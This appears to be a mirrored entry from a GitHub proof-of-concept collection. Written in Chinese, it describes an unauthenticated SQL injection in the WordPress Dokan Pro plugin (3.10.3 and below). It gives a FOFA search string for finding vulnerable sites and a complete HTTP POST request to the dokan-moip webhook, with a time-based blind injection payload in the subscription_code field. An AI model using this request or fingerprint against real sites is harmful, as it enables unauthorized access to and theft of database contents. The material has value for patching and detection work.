mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
25 lines
859 B
Markdown
25 lines
859 B
Markdown
## WordPress插件Dokan-Pro存在SQL注入漏洞
|
||
|
||
Dokan Pro插件在3.10.3及以下版本中,由于对用户提供的'code'参数缺乏足够的转义处理以及现有SQL查询准备不足,存在SQL注入漏洞。未授权攻击者可通过该漏洞向现有查询中注入额外的SQL语句,进而从数据库中提取敏感信息。
|
||
|
||
## fofa
|
||
|
||
```
|
||
"/wp-content/plugins/dokan-pro/"
|
||
|
||
```
|
||
|
||
## poc
|
||
|
||
```
|
||
POST /wp-admin/admin.php?webhook=dokan-moip HTTP/1.1
|
||
Host: x.x.x.x
|
||
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
|
||
Connection: close
|
||
Content-Length: 133
|
||
Accept-Encoding: gzip
|
||
|
||
{"env":"1","event":"invoice.created","resource":{"subscription_code":"11111' and (select 1 from (select sleep( if(1=1,6,0) ))x )='"}}
|
||
```
|
||
|
||
 |